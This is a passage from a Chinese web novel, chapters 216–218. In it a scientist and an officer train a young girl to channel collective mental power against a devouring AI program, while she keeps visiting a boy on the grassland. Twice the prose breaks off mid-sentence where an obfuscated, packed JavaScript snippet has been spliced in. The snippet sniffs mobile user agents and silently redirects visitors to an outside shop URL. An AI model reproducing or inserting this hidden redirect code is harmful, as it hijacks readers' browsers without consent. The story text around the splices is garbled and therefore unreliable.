C博士坐在超大的主控台后,挥手消掉适才阅读的全息电子资料:“不要轻易下结论,她胆子小,乍然来到一个陌生地,发挥失常而已。我又看了遍调查资料,那些镇民都说他们被救时,神识球组成的攻击波暴长,而他们根本不知道怎么回事。我相信这是栖真做的,她刚才明确说了她可以让球变大。你要明白这句话包含两层意思——她有能力这么做,以及,她有意愿这么做。刚才没试出来,我想一定是某个方面出了问题,我们应该调整参数,一遍遍试,直到做出验证,而不是这么快下结论。” “有个问题,可能之前被我忽略了。”博士支颐,带着思考:“即便她具备这样的能力,她为何要心甘情愿来做上万个神识的聚合器?那个领头羊一定要自我牺牲、甘愿奉献。因为到了最后关键一刻,她只要有一点犹豫就是前功尽弃。那样的话不仅她会死,还会拖累上万民众随她一起丢掉性命。我以前觉得对栖真晓以大义,跟她说清天宫现状和隐忧可以让她站到我们这边,现在看来没那么容易,她整整受了人类四百年的恶待,如今又凭什么要为人类的前途全力一战?” 格朗承认博士说得对,而且很明显,博士在会客大厅谈话时就已经意识到这点,所以才会循循善诱地跟栖真说什么“其实你一点不想看到那些人受伤害,不想他们失去至亲”之类的话。 博士在寻其所需,攻其心房。 方向是正确的,先要确认这小姑娘不厌世,即便受了不公正的对待,心中也并不憎恶。 只要一个人心中有爱,向往美好,便是最好的马辔。 格朗正想着,听博士冷笑感慨:“我不希望天宫中有任何不靠谱的孩童身影,但没想到才过去短短几百年,人类竟然会遗忘他们曾经的样子。在真实世界中,无论对待环境还是对待同类,人类的宽容心都在几千年的时间长河里被逐渐消磨。没想到换到永生世界后我们仍然越活越薄!任何个体存在于世都不是问题,但因为是个体,就成为其最大的问题——这种无法容纳异己的偏执简直镌刻在我们的DNA里。当初同意让她进天宫时我没料到事情会变成这样,可人性这东西太让我惊叹,恨不得自己从未生而为人才好。” 格朗对少女的能力保有质疑,看过她吐在他身上的窘样,表面再客气,其实对她并不热待,即便理智告诉他,她是如今唯一存世的诺亚人,她的心灵应该比天宫任何一个人纯净,可格朗觉得“纯净”这东西就是双面镜,一面照出单纯、通透和坚毅,另面也可能是懦弱、幼稚和愚昧。 接下来几天的训练馆实验中,这种怀疑攀到顶峰。 每次看到面对拟真狼攻击时吓到呆若木鸡的小女孩,格朗都觉得心中的镜子在朝后者倾斜,甚至起了逼迫心,在C博士必须参加全国例会不得不缺席的某个早上,他,及一百个天天列队到无聊的士兵,眼睁睁看着吞噬狼把小女孩的手臂咬得血流如注。 可即便这样,都没能将栖真“真实的实力”测出来。 事后,C博士连看两遍训练馆的超清监控,对格朗说:“栖真的状态不对,这几天她没好好休息吗?” 格朗道:“博士,您没看到过她住的那个洞穴,那根本不是人居住的环境,她现在住这里舒服多了,怎么可能休息不好呢?” C博士沉吟,于夜间独自去了二楼。 栖真死气沉沉躺在床上,胳膊包扎过了,上过凝胶不疼了,可她失神地透过落地窗望着夜空,连C博士敲门进来都没注意。 “孩子你怎么了,是想家了吗?”C博士拉把椅子坐到床前,担忧道。 栖真转头,泪水瞬间从眼眶滴落:“我想回家。” C博士一副果然如此的表情,头痛地捏了捏眉心:“听格朗说你一直是一个人住洞穴,那地方简陋地甚至不能称为家。” 栖真又看向夜空,轻声道:“可我喜欢草原上的夜空,那里能看到……恒星。” C博士抽张床头的纸巾,像温柔的老父亲一样为她擦眼泪:“我一开始就说过,我们对你没恶意,让你在这里待了那么多天不能回去,我很抱歉。你看我们能否商量一个约定,以后每周我都让格朗送你回去三天,但剩下的四天,你要回到这里,继续接受训练。” 栖真从床上弹起:“好的,好的!” 阅人无数的C博士都被她眼中的华彩摄到,甚至起了好奇。那草原能看什么恒星,可以让人起死回生? 在被带走整整七天后,栖真又在格朗的护送下回到大草原。 飞行器离开草原彻底消失天际,栖真撒腿就跑,攀上巨岩,一番欢喜在看到空落落的洞穴后彻底消失。 洞里什么都没变,维持着她离开时的模样,栖真失落地躺倒床上。 七天了,恒哥哥见她招呼都不打就消失一定很生气吧,开始几天兴许还来找过她,可她一直没出现,他就放弃了,再也不来了。 栖真放声大哭起来。 216. 天宫(4) “哭什么?被欺负了?”有人靠近摸她脑袋。 栖真惊喜:“恒哥哥!” 阿恒抱着一捆生火用的稻草和麦秸,原本要堆到洞里柴火堆上,见人回来便回岩崖生火烤鱼,一面弄这些,一面听跟在身后的女孩急语,解释她为何消失这么久。 乌兹冒油的烤鱼递来时,阿恒终于回答对方问题:“这点事不值得生气,你不是回来了吗?” 栖真被他轻松的态度搞懵,啊,原来这不是一件值得生气的事? 她疑惑地想,今日换做恒哥哥招呼都不打突然消失,她还不知多着急、难过、生气!所以如果她拥有这种情绪,其实是……不对的? 难怪阿恒是哥哥,比她成熟太多,她长的只有个子,脑子就没怎么长吧。 栖真垂头丧气地吃鱼,觉得烤鱼都不香了。 草原进入冬季,外面很冷,栖真吃完不想进洞,气闷地坐到岩崖边。 阿恒烧旺柴火,把岩崖熏得暖和,坐到栖真身边静静陪她,过了一会儿捡起小砾石,在地上画几笔,单线条组成的人型——一个大人拍着孩子的头。 阿恒问:“你觉得这个大人是你还是我?” 栖真指自己:“我呀。” 现在她比阿恒高,大的这个是她才对。 阿恒拍去手上灰,摸栖真脑袋:“再说一遍。” 栖真扁扁嘴:“你。” 阿恒:“我能这样摸你脑袋吗?” 栖真点头。 阿恒:“那些人每周送你回来,我们可以待在一起,我仍然可以摸你脑袋。” 栖真再次乖乖点头。 阿恒笑,歪头问:“你比我高了,会不会也想我快点长大?” 栖真:“哥哥这样就好,等该长大的时候再长大就好了。” 自从洞里有了剪刀这样东西,栖真帮他剪过头发,阿恒眼睛露出来,在火光和天光的融合下显得极黑。栖真觉得他笑起来眼睛像春日盛开的桃花,而现在,这双眼带着令人愉悦的颜色说:“栖真,我喜欢你,你可以去任何地方,但记得回来我身边。” 栖真热意上头,听恒哥哥说“喜欢”她居然这样臊,她知道阿恒不仅在说喜欢,更在讨要一种承诺。 人给出承诺,便会觉得自己重要,这一刻栖真觉得自己很重要,毕竟有人等她归家,嚅嗫道:“我会回来,我也喜欢你。”又大着胆子说:“最最喜欢你。” 自从放人回去几天,栖真的状态肉眼可见蓬□□来,让来接她的格朗暗暗称奇。 这次得了博士吩咐,没带她回诺亚主城,飞行器一路飞往海东区,他们白天在海东城休息,晚上出城,等候来不及回城被吞噬狼袭击的路人。吞噬狼的数量足有上百,十几个赶货的路人完全不是对手,千钧一发的当口,和格朗一起躲在礁石后的女孩终于展现出令人瞠目的能力,不仅瞬间助长对方的神识球,让几十当量的攻击波提升到一百当量以上,还赋予攻击波熊熊烈火,将来不及逃散的吞噬狼一把火焚尽。 格朗看着做完一切晕倒在臂弯里的女孩,激动地将拍下的全息视频传给博士。 就这样,在接下去的一个月里,他带栖真踏足穆兰城、月亮湾、广新区、巴坦木盆地……随着记录的影像越来越多,C博士终于对栖真的能力有了一个初步的结论。 “一开始是我们用错方法,看来只有身处真实的险境,她才会表现出应激反应。你看在月亮湾,被袭击的只有十几个民众,可她迸发的聚合力至少达到三百当量,为什么?看这里,这个队伍中有个和她差不多大的姑娘,受到攻击前那姑娘亲热地挽着爸爸的手说笑,栖真痴痴望着那女孩。所以她渴望的亲情会激发她内在的潜力。” “有一点我们一开始没想错,栖真在现场赋予的当量并非来自她本身,而是从别处调来。格朗,每次你都没有祭出神识,但能感觉神识被支配,攻击结束才还回。而事后调查,每个城镇,请注意,是每个城镇,都有民众说出和你同样的感受——感觉在某个时刻神识忽然不受支配,像被操纵着飞出体内,参与攻击后又还回,然后就是漫上来的疲惫。大部分人睡上一觉就能消除体力透支的感觉。看看数据,无论时间点,还是与当量相匹的人数,全部和栖真出手的时间对得上。换句话说她确实如我们猜测,是非常优质的聚合器——她可以强行聚拢神识形成攻击。不知道这种能力是诺亚人与生俱来,还是只有栖真具备,无论如何我们非常幸运,她是上帝赐予我们的拯救者。” 此刻格朗正带着栖真住在精灵主城葳蕤城,从官邸复古窗户望出去,大花园里小姑娘正被一群花精灵追逐,掉到池塘里。 人类虽然维持进入天宫时的年纪,但不代表天宫不能给他们另外一种人生,虽然很多人选择维持人形,也有不少心怀憧憬的猎奇者选择成为精灵。 反正比特世界最不缺的就是空间和想象力,精灵原本只存在于童话世界,但谁让天宫本身就是个童话呢。化身拥有尖长耳朵、灵敏听力和敏捷身手的精灵,就可以从此生活在广袤的丛林世界。 自从地球上的丛林被破坏殆尽,人类对丛林的渴望盛况空前,和大自然融为一体,人心能得到治愈。 而在葳蕤城的统治者官邸,第一次见到美丽的精灵时栖真惊讶地合不拢嘴。在出完任务昏迷两日后,从巨型鸟屋醒来就受到花精灵们的热情调戏,这会儿湿漉漉的尖叫声传遍整座府邸。 格朗微笑着将视线调回全息屏上,继续听C博士分析。 “但我们现在最大的问题是,没法确定栖真一次能聚合多少神识,迄今为止,她遇见的吞噬狼最多只有一百匹,当时聚拢的神识是三百当量,就是1:3,可如果她有能力聚拢1:5,1:6,甚至1:10呢?那样我们和吞噬者决战时,一万当量的攻击波就只需要一千个志愿者,事情就好办多。” “还有一点我很担心。她每完成一次聚合就要昏迷一到两天。聚拢三百当量那次,也是我们测出她表现最好的一次,栖真足足昏迷了四天。换句话说无论她的精神力如何强大,身体都承受不住这样的消耗。这是个很大的隐患!万一她没能将聚合的神识投出去就先行爆体,就功亏一篑了。所以格朗,这事不能操之过急,我们得给她时间,让她长大,让她身体变得结实,精神力变得更强大才行。你先把她送回草原吧,下次接回来,我会给她制定训练计划。训练需要时间,不能再让她每周三天回草原看星星了,你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993131|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上委婉地问下她,能否接受一个月回去三天。” 无论栖真回不回来,是不是准时回来,阿恒好像都不介意。 他收到栖真从精灵花园里采的甘露花,花瓣上有露珠般凝结的亮点,她捧回来,就为在夺目的晶莹消失前让阿恒看一眼。 阿恒看了一眼,把花放到床头:“有它们陪你,睡吧。” 葳蕤城离大草原太远,回草原天都黑了,此刻确实到了阿恒该回去的时间,可栖真拉住他:“恒哥哥。” 阿恒酷酷地斜睨来。 栖真又叫一声:“哥哥~~。” 阿恒只好在床边坐下,摸她脑袋:“说。” 栖真将头靠近他大腿,眼睛亮晶晶地:“我没想到天宫那么大,居然有和我们完全不一样的人住在很远很远的地方,听格朗先生说,他们是精灵,你见过精灵吗?” “见过。” 栖真意外地坐起来,阿恒却不大惊小怪:“除了精灵,还有禽人和龙族。” 栖真:“对对,我听他们说了,你都见过?” 阿恒嘴角扯起冷笑:“精灵、禽人和龙族,不过是人类借助天宫幻想出来的三种自圆其说的角色。”顺着解开的发辫梳理她的长发,不屑道:“精灵是人类和丛林的重新构建,禽人是和动物之间的再次妥协,而龙族生活在海里,是对水资源的二度维护。人类把现实家园破坏殆尽,便在虚拟世界将内心欲望分化成三个角色,用可怜的方式圆一份渴望清零重来的愧疚罢了。” 他看了眼栖真竭力想去理解的表情:“对你来说,不是什么值得去理解的事。” 栖真哦了一声:“这么说……真不友好呀。” “什么?” “跟别人学来的说法。” 阿恒在她光洁的额头上弹指:“什么乱七八糟的?” 栖真嘿嘿傻笑,笑完了一本正经道:“C博士说下次去他会亲自教我东西,以后我懂的东西会越来越多。” 阿恒:“很好,那你多学点。” 栖真拉他手哀求:“这样一来我回来的时间就少了,格朗先生说以后我一个月只能回来三天,恒哥哥,你能不能跟我一起去诺亚主城?我不想跟你分开。” 阿恒握住她:“我不能跟你去诺亚主城,我只是一个乡下孩子,大人不喜欢小孩,我去了,有很多人想杀我。” 栖真狂摇头:“不会,不可能!C博士是好人,你跟我一起去,没人会伤害你。” “一个道貌岸然的卫道者。”阿恒嗤之以鼻:“没有全无目的对人好这回事,你要懂得分辨真假。” 栖真不喜欢听阿恒这样说C博士,在她眼里C博士和蔼可亲,是诸多高大男人里唯一不让她害怕的,可她不知怎么说才能证明C博士不坏,最后只好嘟囔一句:“我认为你说的不太对……至少,你就是全无目的对我好。” 阿恒像听到天大的笑话:“我最坏了,对你目的不纯。” 栖真也笑起来:“什么目的?” 阿恒刮她鼻子:“小羊羔子,早晚炖来吃了。” 栖真咬唇,凑上去在他脸上亲一下,小声道:“等你。” 阿恒愣住了,心脏咚咚跳起来。 217. 天宫(5) 阿恒临走前说,你这次回来又变高了。 栖真有点苦恼,她是不是长太快了?如果恒哥哥跟不上她的生长速度,身高差会越来越大,以后不得她抱他? 这么一想,跟格朗回主城时还在偷笑,直到听完C博士讲解为她量身定做的“成长计划”,栖真彻底笑不出来了。 “这就是一位公主的日常,相信你很快能适应。”C博士按熄屏幕,示意现在是栖真的提问时间。 栖真张口结舌:“可我不是公主,也不想当什么公主。” “政令已经签发,昨日已下达天宫每座主城。今后所有人都会以对待公主的礼仪来对待你,你再也不会被欺负,被看不起,从今往后,你就是真正的公主。” 栖真不知要怎么反驳这一切,恒哥哥说他就是一个乡下孩子,她难道不是?和恒哥哥比,她除了是乡下孩子,还是一个野孩子,她连爸爸妈妈都没有。谁知有朝一日居然有人跟她说,从今往后你就是天宫的公主,所有人都将尊敬你。 若她接受这一切,是否代表她不能再回草原去? 栖真觉得自己并不像恒哥哥说的那样是个真正的小傻瓜,她会为自己争取。栖真很认真地跟博士说,我可以当公主,但每个月我必须回草原三天,不让我回去,我就什么都不当,公主还是王后,我都不要当。 C博士笑不可抑:“宝贝,如果这样可以让你安心,我找不到拒绝的理由。我保证今后每个月,格朗都会送你回草原三天。” 最后他好奇地问:“你能不能告诉我,草原上到底哪一颗恒星让你这么执着?” 栖真不懂撒谎,但学会了掩饰,她给出一个合理的理由:“我在那里生活很久,一直不回去,我会忘记自己是谁。” C博士和旁边的格朗面面相觑,天真的小女孩还能说出这种话来! 博士时常和格朗感叹,这是块蒙尘美玉,可惜过去烂在泥里自生自灭,一旦阳光普照便能脱胎换骨。千年皇室血统刻进基因,她是名副其实的公主。 可栖真不这么想,她觉得这“假公主”当得太辛苦! 上午要进虚拟仓承受高温、干旱、冰冻以及长途奔袭的高压,锻炼极端条件下神识和注意力的集中度;下午要进训练馆学习格斗;晚上困得甩头塌脑,还要听各色各样老师授课,让她上机器,给她灌输文学、数学、科学、礼仪等等知识。老师们甚至不吝亲自讲解,教她融会贯通。 更别提随时随地会被格朗抓去某个城市对抗吞噬狼,或跟C博士代表诺亚主城前往其他城市拜访。 栖真发自内心想学,可抵不过这般疲于奔命的学法,半夜躺在床上,都觉得有根看不见的绳索套着她脖子拼命拽,整个人被撕裂。 一年后,格朗拿到栖真最新的抗压和身体数据时差点热泪盈眶,对C博士道:“您说的一点没错,她是美玉!如今她掌控一万当量神识超过三分钟已经不在话下,五十次测试数据,没有一次失败!三分钟,足够消灭吞噬者了。” “是令人振奋的消息。”C博士坐在阳台上晒太阳,翻看面前的全息数据:“短短一年,成长飞快。” 今早公主在外交大臣、主城学者、礼仪老师和生活保姆的陪同下踏上高端飞行器,前往金辉城巡访。格朗情不自禁看向金辉城方向,双眼饱含热意:“是啊,我几乎记不起当初来主城时吐在我身上的小不点是什么模样。” C博士也看向金辉城:“这一年的训练至少让我们了解到一个事实,原来诺亚人的外表不是根据他们实体年纪来,而是由心智成熟度决定的。她已经在天宫活了四百年,一直是发育不良的小女孩模样,没想到短短一年里,每天都在窜个儿,五官长开,气质大变。这种成长的速度不可能在任何一个天宫人身上出现,因为我们只是自我与比特的结合体。可她,天宫唯一的原住民,原来是可以脱离程序设定,摆脱比特属性,成为新一代的进化者。当初她的母亲就说过,栖真将成为天宫最纯净的人,以天宫为皈依。” 格朗诚恳道:“有没有把实验再往前推进一步的可能呢?如果诺亚人自带进化属性,说不定栖真可以在天宫生孩子,而她的孩子也许是更先进的进化者,更适应天宫的存在!或者,只要是她的基因,我们就能繁育更多的二代移民,从而解决天宫人口锐减的问题?” C博士看向格朗,眼里带着探究:“前世所有的基因技术在天宫已停滞开发,在比特世界,是没必要研究繁育技术的。” 格朗像二十出头的毛头小子般殷切道:“我知道,我词不达意,我是想说也许我们可以用最原始的方式,看看能不能让她怀孕。” C博士轻抚下巴不表态,反而语带轻巧地问:“这念头,你想多久了?” 格朗啊了半天,想怎么回答,或不知怎么回答,最后带着自以为旁人看不出的尴尬道:“也就几个月……过去她太小了。” C博士嘴角弧度未变,眼周笑纹慢慢消失:“格朗别忘了,我们到底为何将她培养出来!让她身体承受高压,以知识丰富她贫瘠的心智,通过赋予身份为她带来高自尊和责任,如今第一要务尚未完成,就要肖想她的第二功能?当然,这提议我会考虑,但那必须在她顺利消灭吞噬者后才有可能。” 格朗道:“我没有现在施行的意思,确实如您所说,她必须先完成自己应有的使命。” C博士盯视他:“当下第一要务是护好人,让她身体、情绪、想法处于巅峰。我一刻不想再等,今天请用我们商量好的方式向各大主城发布召集令,等栖真这次从草原回来,就是我们和吞噬者决一死战的时刻。我们只有一次机会,必须一击必中。” 格朗用拳头敲击胸口:“一击必中!” 栖真看着高端飞行器在草原边缘消失,甩掉高跟鞋,向草原深处飞奔。 撤掉头上沉重的宝石发冠,扯下碍事的钻石耳环,同绊脚的红色丝绒披风一起随跑随扔,她像只雀跃的小鸟,往真正属于自己的领地飞去。 很快,她就看到了岩崖上坐着的人。 阿恒起身,刚想开口说话就被蹦上岩崖的栖真举高高,高兴地转了两圈。 栖真抱小孩儿一样抱他在臂弯里,从岩崖上跃下去:“给你带好吃的蛋糕了,在草原边上,跟我去拿。” 阿恒黑着脸,面色有丝诡异的红,冷酷道:“数到三,不把我放下来,今天没人陪你了。” 是什么支撑她进行非人的训练?无非想回来抱一抱阿恒的妄念!这样抱着他的滋味太好了! 栖真笑嘻嘻看他数。 阿恒面上的黑彻底被红取代,往后纵身,双手撑地,从栖真臂弯里灵巧地翻出去,起身拍拍衣摆上的雪,转身就走。 “哎哎,真走啊?” “站着,不许动!”阿恒一指原地。 等他捧着蛋糕、拎着一大袋吃的、指尖扣着发冠、挽着披风回来,栖真还委屈巴巴杵在那儿。阿恒目不斜视往岩崖去,二十步后停下:“还不过来?” 栖真这才像解禁的孩子一蹦一跳跟在身后,和他一起回岩崖。 又到一年最冬季,岩崖上冷得不适合待人。阿恒在洞口燃了篝火,和栖真一起窝进洞里。 门口摆着两张懒人躺椅,阿恒搓了热毛巾,帮栖真擦脚。 栖真想自己擦:“我是大人了,自己弄。” 阿恒白她一眼:“再说一遍。” 栖真只好由他将她的脚放到膝上,阿恒收拾停当,也在躺椅上坐,和栖真一起裹着厚毯烤火,一人一口吃蛋糕。 栖真看到阿恒就有说不完的话,把压力大到时不时窝在被里哭鼻子,隔三差五训练到吐的事全隐去,只说自己上了许多课,懂了很多东西。 阿恒嗤之以鼻:“‘学到’和‘懂得’是两回事,传输器传给你的那些东西在你脑子里和不在你脑子里,对你来说没有什么差别。” 栖真不这么认为:“有差别啊,我脑子里有这些东西,我才觉得自己和以前不一样,觉得自己长大,更有力量。” 阿恒:“如果人类是以脑子里的知识含量作为‘有力量’的依据,那么天宫最有力量的就是吞噬者,哪个人类的脑容量能和程序比?你现在为了打败吞噬者接受的训练,又有什么意义?” 栖真有点懵,扑棱地眨着大眼睛看他。 阿恒继续问,像个不近人情的面试官:“除了那些知识,这段日子里你还对什么感兴趣?” “我发现、发现……”栖真有想法,但和高大上的学科知识比,她不知道自己那些一晃而过的想法是否值得说,有些发窘地挠头:“大家都有想法才会去做事,以前我看他们做这事、做那事,没想过他们为什么要这么做,又为什么那样做。我如果不想顺着他们的意思,我会说,啊,我不想这样。可是后来我发现,如果只是这么说根本不起作用,他们还是会要我做。所以我就想,要怎样才能打消他们的念头?与其在事情上纠结,不如找找他们为何这么做的原因,如果我可以改变原因,或说服他们放弃那个原因,我就可以顺理成章不做我不喜欢的事!” 栖真觉得自己说得乱七八糟,可她已经尽力去表达了。 阿恒听完比刚才感兴趣得多:“你已经开始理解因果,很好,因果是逻辑的一种,知识不会让人变得智慧,逻辑可以。” “逻辑!”栖真道:“这词我学过,只是还不太明白意思。” “逻辑就是‘关系’,是你怎么理解两个对象之间关系的学问。你可以概括这种关系,推理这种关系,论证这种关系,归纳这种关系,最后判断这种关系。像你刚才举的例子就是在寻找一种因果,那是逻辑的入门!如果你想让思维变得有力,就该在这些方面着力,而不是将注意力纯粹放在知识的获取上。” “概括、推理、论证、归纳、判断?感觉好难啊!”栖真头大:“这些大概要C博士那个级别的人才懂。” 阿恒:“逻辑是人类为了更好地参透世界运行的法则,凭借自己头脑发展出来的东西,结果现实中只有7.821%的人决策前去考虑逻辑,其中只有0.032 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006662|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 4%的人会严格按照逻辑行事。这就是人类没法和智能系统对抗的原因,因为系统只遵照逻辑,不可能存在偏差。” 栖真:“你是说逻辑是人类的智慧,但有92.179%的人做事都完全不考虑这种智慧?” “更可怕。”阿恒道:“他们不是不考虑,而是只按自以为的逻辑行事,那叫‘个人逻辑’,就是只要自己觉得有道理就代表一切。” 栖真若有所思,又促狭道:“怎么证明你刚才说的所有这些都符合逻辑,而不是你的‘个人逻辑’呢?” 阿恒道:“套用你说的因果,举证这种事都是想证明的人来做,我不存在任何去证明我说的话符合逻辑的需求,是你想要证明,所以应该由你举证我说的这些没有逻辑。” 栖真…… 阿恒笑眯眯:“你觉得我说的不对,可以不听。” 栖真叹气,带着三分抬杠,四分玩笑道:“你说得都对!我好好想想,下次见面跟你说我是怎么概括、推理、论证、归纳和判断我俩关系的!” 阿恒摊手,面上似有真情实意的为难:“是道难题,连我这种最理智的个体都没法用概括、推理、论证、归纳来判断我俩的关系。” 栖真被他的冷笑话逗得大笑,一面吃蛋糕,一面叽叽喳喳继续说别的。 他们在一起五年了。如今的栖真长成二十出头的大姑娘,身材凹凸有致,脖颈纤细修长,容貌明艳大气,双眸波光潋滟。安静时自带威仪,慢语时则透着贵气,但这些都是表象,当她回到草原,回到岩崖,回到他身边,就变回活蹦乱跳的小姑娘。 这些年阿恒却几乎没长个,还是初见时的模样,可栖真从不觉得他小,对着阿恒,她有种天然的亲近和信服。 传输器教了很多,起码栖真自认学会了怎样为感情冠名。C博士指引方向,是爸爸的角色;格朗天天陪她,就是叔叔;学者们辛勤教授,都是老师,但只有面对阿恒——这个身高只到她胸口的男孩——她才更有对爸爸、对叔叔、对老师的孺慕。可能这就是知识库里写的“雏鸟情节”吧,而她从没觉得哪里怪异。 尤其当阿恒一言不发看她,没人会觉得他只在稚龄——C博士身上都没这样的气场。 栖真终于停下说话,摸摸嘴角:“沾东西了?这么盯着我瞧。” 阿恒指腹在她唇瓣蹭了一下,回手轻舔:“甜。” 栖真用手背擦嘴:“这蛋糕是太甜了。” 阿恒好笑地转头望篝火。 当栖真说起这个月自己的训练当量已超一万,且处于稳定状态时,阿恒垂眼,片刻才抬头道:“三天后那个叫格朗的来接你,我想单独和他谈谈。” 栖真奇怪道:“你以前都不想见他的。” 阿恒将碗放到脚边,双手交握道:“那是以前。” 栖真凑近:“要跟他说什么?” 阿恒一本正经:“让他们别打我女人的主意。” 栖真疑惑地问:“你有女人?” 阿恒不敢置信她竟能问出这么蠢的问题:“我有头猪!” 栖真意外极了:“你有头猪?养在哪儿,家里吗?” “养在我心里。” 栖真脑子有点乱:“我们认识那么久,你从没说过你心里有头猪。” 阿恒受不了,嚷道:“一头猪永远不明白杀它的人和喂它的人到底什么关系。” “这个我知道。”栖真点头:“传输器传过的,都是现世的道理。可艾肯先生说这在天宫不可能发生,因为天宫不能套用现世法则,人们在这里的每一份付出都会被看见,这是一个真正的公平社会。” 阿恒:“要么是你的艾肯先生被洗脑,要么是你心甘情愿被洗脑,人能违背人性?” 栖真不介意他这么说,随和道:“你们说的我都不懂,我只是觉得不管哪个世界,猪能开开心心过完一生,很多明白人却不怎么快乐的。” 阿恒眼神柔和下来,摸她脑袋:“猪说得很对。” 这一年栖真去过很多地方,惊叹过穆兰城的朝晖夕阴,领略过百花城的争奇斗艳,欣赏过月亮湾的海天浩渺……她已然被天宫的锦绣繁华开过眼,但所有这些,都比不上开在她心头的花。 栖真把阿恒的手从脑袋上拿下,在他手心缓缓写下一窜字符:“知道这是什么吗?” 天宫运行很多字符串,区编、门编、个人ID,但只有一种编码是以字母开头,加后面六位数字。 第一个字母代表身处区域,后面六个数字则是排位顺序。 进入天宫时,这串字符会深深刻入每个人的神识,这窜字符是天宫人压在心底最深的隐私,是不能宣之于口的保命密码,没人会将它随随便便告诉别人。 栖真包住阿恒的手,眼里倒映着他的微愕,郑重道:“你视我为你的,我便把自己最深的秘密告诉你,愿这窜字符永远被你珍藏,愿我永远养在你心里。” 握紧掌心,阿恒徒然心悸,被短路的痛苦侵袭,又觉得自己的存在很有意义。 218. 天宫(6) 三日后格朗来接,栖真听从阿恒吩咐,先上高端飞行器,让格朗独自进洞。她趴在舷窗上好奇两人能说什么,更担心格朗发现阿恒是小孩后对他不利。 可是很快格朗就从洞里出来回到飞行器,示意前排飞行员起飞,按下控制键,升起前后隔音板。 当飞行器在空中平稳飞行时,栖真忍不住脱口相询,但格朗只是说,有人这样关心你,我很高兴。 栖真下意识咬指甲,犹豫半晌问:“你看到了他……一切都没问题吗?” 格朗自然而然拿下她咬指甲的手:“你担心什么?” 栖真摇头表示没什么。 格朗点开全息屏浏览资料,两个小时后对栖真道:“我们的杀毒计划你很清楚,训练的第一天起你就知道相关细节。这次结束金辉城访问前,C博士给你发送过做好准备的指令,三天后计划就要施行。战场选在月亮湾,你对那里很熟悉。待会儿到诺亚主城我不陪你进去了,我们的人都部署在月亮湾,我得尽快赶去。” 飞行器的涡轮带动气流发出震耳翁响,隔音舱内只听得见消音后残留的一点干扰声,格朗关闭所有通信设备,解下军装右胸袋上的装饰扣,打开隔音板,将装饰扣放到飞行员身后的平台,将隔音板关上。 “快到主城了,接下去是私人谈话。出了这个舱,我不会承认说过这些话,你明白我意思吗?” 格朗解开腰间的保险带,坐到栖真对面位子上,以便更好地看着她:“即便是博士,也请你不要透露半个字。” 栖真疑惑:“您想说什么?” “我们认识一年了,你是我心中最敬爱的公主,我不想看到你遭受伤害,所以我不得不提醒一句,参与杀毒计划,你有想过自己将面临怎样的风险吗?” “您之前说,只要我能聚集一万当量神识,就能将吞噬者消灭。” “呵,我说了吗?”格朗面上有嘲讽的笑:“显然,我在博士的威逼下没对你说实话。” “我们对吞噬者吞噬当量的预测来源于各地上报的数据,我们只知截止目前,吞噬者一次吞噬的极限当量是七千,所以我们认为你能操控一万当量,对付吞噬者绰绰有余。但问题就在这里!迄今为止,我们都没有真正验证过吞噬者的吞噬极限到底是多少,如果它的胃口远比它表现出来的大,凭你现在的能力是应付不来的。” 栖真:“应付不来……会是怎样的结果?” 格朗:“当初博士想出这条计策,是因为我们认为投喂给吞噬者远超其容量的神识足以撑死它,但这个道理对你同样适用,如果你操控了远超自己身体负荷的神识,会爆体而亡。” 栖真蹙眉:“我该怎么做?” “上了战场,即便一万当量都没消灭吞噬者,即便你知道自己没有完成任务,也不要自作主张擅自加量。我祈求你平安归来!只要你完好无损地回来,可以继续训练壮大实力,以后有的是机会将神识提升到两万匹、三万匹,你明白吗?” 栖真又开始咬指甲:“可是博士说天宫如今只剩十万出头的人口,我不能一击即中,不仅浪费一万条生命,后面还有多少人能为这场战斗牺牲?如果我们一次次试,一次次牺牲,即便最后消灭吞噬者,又有多少人能活着享受太平岁月?” 格朗脸上出现冷酷的表情,此刻他只是一个旁观者:“公主,自然环境是人类发展的牺牲品,人类是人工智能发展的牺牲品,一切因果早已注定。但我保证天宫会永远存在,而你,有朝一日,会成为天宫的主宰。” 栖真贴着舱位的后背汗湿,和格朗的这段对话好像偏离了原有逻辑,她听不懂又琢磨不透:“您的意思是让我在战场上明哲保身,以待来日?” “你成语学的有偏差。”格朗微笑:“明哲保身是贬义词,我要的是你量力而行,不要冒进。实际形势没有你看到的那样严峻,当然为了鞭策你的成长,一些夸张是必要的,但真地上了战场,我还是觉得应该让你宽心。” 再三确认栖真明白他的意思后,格朗从前厢取回装饰扣别回胸口,在诺亚主城外下了飞行器。 栖真回到庄园,走进自己房间就遣散随侍人员,打开博士为她配备的智能系统,进行一番搜索。 接下去的三天里,C博士为她减少了70%的训练量,只做维持注意力的常规练习,以便她的神识处于巅峰状态。 第三天清晨,博士带栖真飞抵月亮湾,来到月亮滩。 没有大战前的剑拔弩张,也没同仇敌忾的号角连营,两个人在月亮滩上散步。 此地是天宫最大的沙滩,从空中俯瞰,能见到沙滩呈现完美的弯月形,怀抱着碧蓝的海水。走在沙滩上几乎感受不到弯月的弧度,沙滩太大了,从一头看不到另一头。 平时这里是月亮湾居民的后花园,今日喧哗不见,沙滩被清场,海浪冲刷平坦的沙地上只有两双脚印向前延伸。 